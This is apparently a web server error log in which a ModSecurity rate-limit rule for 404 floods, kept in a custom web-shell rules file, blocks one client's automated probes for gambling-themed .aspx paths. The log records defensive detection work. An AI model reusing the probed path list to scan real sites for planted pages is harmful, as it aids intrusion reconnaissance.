[Fri Mar 20 01:12:14.205531 2026] [:error] [pid 46124:tid 46203] [client 135.181.180.59:39326] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "abwubkzMrlLOY6zyCjJ1UAAAAFc"]
[Fri Mar 20 01:12:16.745850 2026] [:error] [pid 46125:tid 46215] [client 135.181.180.59:42444] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abwucGgN4lI6NHeckY5bdwAAAIM"]
[Fri Mar 20 01:12:19.215766 2026] [:error] [pid 11258:tid 11261] [client 135.181.180.59:42454] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abwuc5PHb95f6xzHJOcOFQAAAME"]
[Fri Mar 20 01:12:21.602931 2026] [:error] [pid 11258:tid 11262] [client 135.181.180.59:42466] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abwudZPHb95f6xzHJOcOHwAAAMI"]
[Fri Mar 20 01:12:31.583190 2026] [:error] [pid 46124:tid 46185] [client 135.181.180.59:25606] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abwuf0zMrlLOY6zyCjJ1bwAAAEU"]
[Fri Mar 20 01:12:34.039303 2026] [:error] [pid 46264:tid 46297] [client 135.181.180.59:25610] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abwugop3TruHFmWOt5HVPQAAAA4"]
[Fri Mar 20 01:12:36.475056 2026] [:error] [pid 46126:tid 46242] [client 135.181.180.59:64752] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abwuhKQ44YePbsZz3j7LpQAAARA"]
[Fri Mar 20 01:12:39.082849 2026] [:error] [pid 11258:tid 11284] [client 135.181.180.59:64754] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abwuh5PHb95f6xzHJOcOQAAAANg"]
[Fri Mar 20 01:12:41.585003 2026] [:error] [pid 11258:tid 11278] [client 135.181.180.59:64768] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abwuiZPHb95f6xzHJOcOSgAAANI"]
[Fri Mar 20 01:12:44.044638 2026] [:error] [pid 11258:tid 11263] [client 135.181.180.59:64780] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abwujJPHb95f6xzHJOcOTwAAAMM"]
[Fri Mar 20 01:12:53.406930 2026] [:error] [pid 46126:tid 46222] [client 135.181.180.59:18476] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abwulaQ44YePbsZz3j7LvwAAAQY"]
[Fri Mar 20 01:12:56.030462 2026] [:error] [pid 46264:tid 46284] [client 135.181.180.59:33468] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abwumIp3TruHFmWOt5HVXQAAAAE"]
[Fri Mar 20 01:12:58.599306 2026] [:error] [pid 46126:tid 46216] [client 135.181.180.59:33484] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abwumqQ44YePbsZz3j7LxgAAAQM"]
[Fri Mar 20 01:13:00.961702 2026] [:error] [pid 11258:tid 11265] [client 135.181.180.59:33496] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abwunJPHb95f6xzHJOcOagAAAMU"]
[Fri Mar 20 01:13:34.038898 2026] [:error] [pid 46124:tid 46201] [client 135.181.180.59:20378] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abwuvkzMrlLOY6zyCjJ13AAAAFU"]
[Fri Mar 20 01:13:36.478988 2026] [:error] [pid 11258:tid 11276] [client 135.181.180.59:38508] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abwuwJPHb95f6xzHJOcOqgAAANA"]
[Fri Mar 20 01:13:38.962559 2026] [:error] [pid 46264:tid 46303] [client 135.181.180.59:38524] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abwuwop3TruHFmWOt5HVpwAAABQ"]
[Fri Mar 20 01:13:41.335613 2026] [:error] [pid 11258:tid 11261] [client 135.181.180.59:38534] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abwuxZPHb95f6xzHJOcOvgAAAME"]
[Fri Mar 20 01:13:48.545817 2026] [:error] [pid 46126:tid 46257] [client 135.181.180.59:1602] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abwuzKQ44YePbsZz3j7L_wAAARg"]
[Fri Mar 20 01:13:51.201311 2026] [:error] [pid 11258:tid 11270] [client 135.181.180.59:1612] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abwuz5PHb95f6xzHJOcO1wAAAMo"]
[Fri Mar 20 01:13:53.563666 2026] [:error] [pid 46126:tid 46232] [client 135.181.180.59:1622] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abwu0aQ44YePbsZz3j7MAwAAAQs"]
[Fri Mar 20 01:13:56.052781 2026] [:error] [pid 11258:tid 11281] [client 135.181.180.59:42106] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "abwu1JPHb95f6xzHJOcO6QAAANU"]
[Fri Mar 20 01:13:58.682008 2026] [:error] [pid 11258:tid 11260] [client 135.181.180.59:42118] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "abwu1pPHb95f6xzHJOcO8gAAAMA"]
[Fri Mar 20 01:14:01.315393 2026] [:error] [pid 11258:tid 11262] [client 135.181.180.59:42126] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "abwu2ZPHb95f6xzHJOcO_gAAAMI"]
[Fri Mar 20 01:14:03.824599 2026] [:error] [pid 46264:tid 46287] [client 135.181.180.59:42136] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abwu24p3TruHFmWOt5HVygAAAAQ"]
[Fri Mar 20 01:14:06.235406 2026] [:error] [pid 46264:tid 46297] [client 135.181.180.59:17876] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abwu3op3TruHFmWOt5HV1QAAAA4"]
[Fri Mar 20 01:14:08.659286 2026] [:error] [pid 46264:tid 46301] [client 135.181.180.59:17880] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "abwu4Ip3TruHFmWOt5HV5QAAABI"]
[Fri Mar 20 01:14:11.160562 2026] [:error] [pid 46264:tid 46301] [client 135.181.180.59:17886] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abwu44p3TruHFmWOt5HV8AAAABI"]
[Fri Mar 20 01:14:13.720574 2026] [:error] [pid 46126:tid 46256] [client 135.181.180.59:17898] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abwu5aQ44YePbsZz3j7MDgAAARc"]
[Fri Mar 20 01:14:16.425086 2026] [:error] [pid 46124:tid 46200] [client 135.181.180.59:28984] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "abwu6EzMrlLOY6zyCjJ2DQAAAFQ"]
[Fri Mar 20 01:14:18.964135 2026] [:error] [pid 46125:tid 46225] [client 135.181.180.59:29000] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abwu6mgN4lI6NHeckY5b2gAAAIg"]
[Fri Mar 20 01:14:21.519851 2026] [:error] [pid 46124:tid 46191] [client 135.181.180.59:29004] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abwu7UzMrlLOY6zyCjJ2DwAAAEs"]
[Fri Mar 20 01:14:23.896793 2026] [:error] [pid 46264:tid 46295] [client 135.181.180.59:29010] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abwu74p3TruHFmWOt5HWFwAAAAw"]
[Fri Mar 20 01:14:26.558904 2026] [:error] [pid 11258:tid 11269] [client 135.181.180.59:34614] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abwu8pPHb95f6xzHJOcPNwAAAMk"]
[Fri Mar 20 01:14:29.040340 2026] [:error] [pid 46264:tid 46291] [client 135.181.180.59:34628] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abwu9Yp3TruHFmWOt5HWNgAAAAg"]
[Fri Mar 20 01:14:59.578593 2026] [:error] [pid 46126:tid 46238] [client 135.181.180.59:51338] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abwvE6Q44YePbsZz3j7MlgAAAQ4"]
[Fri Mar 20 01:15:02.093896 2026] [:error] [pid 46124:tid 46193] [client 135.181.180.59:51350] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abwvFkzMrlLOY6zyCjJ2lQAAAE0"]
[Fri Mar 20 01:15:04.574864 2026] [:error] [pid 11258:tid 11268] [client 135.181.180.59:51364] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abwvGJPHb95f6xzHJOcP6AAAAMg"]
[Fri Mar 20 01:15:07.225261 2026] [:error] [pid 46126:tid 46250] [client 135.181.180.59:21092] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abwvG6Q44YePbsZz3j7MpAAAARQ"]
[Fri Mar 20 01:15:09.798549 2026] [:error] [pid 11258:tid 11266] [client 135.181.180.59:21094] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abwvHZPHb95f6xzHJOcP_AAAAMY"]
[Fri Mar 20 01:15:12.308690 2026] [:error] [pid 11258:tid 11269] [client 135.181.180.59:21098] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abwvIJPHb95f6xzHJOcQBQAAAMk"]
[Fri Mar 20 01:15:14.991321 2026] [:error] [pid 46124:tid 46184] [client 135.181.180.59:21108] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "abwvIkzMrlLOY6zyCjJ2qQAAAEQ"]
[Fri Mar 20 01:15:17.500094 2026] [:error] [pid 46126:tid 46240] [client 135.181.180.59:18862] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "abwvJaQ44YePbsZz3j7MtAAAAQ8"]
[Fri Mar 20 01:15:19.975557 2026] [:error] [pid 46264:tid 46283] [client 135.181.180.59:18872] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abwvJ4p3TruHFmWOt5HXQQAAAAA"]
[Fri Mar 20 01:15:22.621360 2026] [:error] [pid 46125:tid 46241] [client 135.181.180.59:18874] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "abwvKmgN4lI6NHeckY5cbgAAAJA"]
[Fri Mar 20 01:15:25.126186 2026] [:error] [pid 46126:tid 46216] [client 135.181.180.59:18890] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "abwvLaQ44YePbsZz3j7MwAAAAQM"]
[Fri Mar 20 01:15:27.602391 2026] [:error] [pid 46124:tid 46199] [client 135.181.180.59:55686] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "abwvL0zMrlLOY6zyCjJ2vQAAAFM"]
[Fri Mar 20 01:15:30.109492 2026] [:error] [pid 46126:tid 46244] [client 135.181.180.59:55702] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abwvMqQ44YePbsZz3j7MxwAAARE"]
[Fri Mar 20 01:15:32.731217 2026] [:error] [pid 46264:tid 46306] [client 135.181.180.59:55714] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abwvNIp3TruHFmWOt5HXawAAABc"]
[Fri Mar 20 01:15:35.360474 2026] [:error] [pid 46126:tid 46220] [client 135.181.180.59:18184] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abwvN6Q44YePbsZz3j7M0QAAAQU"]
[Fri Mar 20 01:15:38.017646 2026] [:error] [pid 46264:tid 46301] [client 135.181.180.59:18188] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abwvOop3TruHFmWOt5HXgQAAABI"]
[Fri Mar 20 01:15:40.689330 2026] [:error] [pid 46264:tid 46297] [client 135.181.180.59:18194] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abwvPIp3TruHFmWOt5HXhAAAAA4"]
[Fri Mar 20 01:15:43.040272 2026] [:error] [pid 11258:tid 11271] [client 135.181.180.59:18208] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abwvP5PHb95f6xzHJOcQRgAAAMs"]
[Fri Mar 20 01:15:45.533046 2026] [:error] [pid 11258:tid 11265] [client 135.181.180.59:38318] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abwvQZPHb95f6xzHJOcQTgAAAMU"]
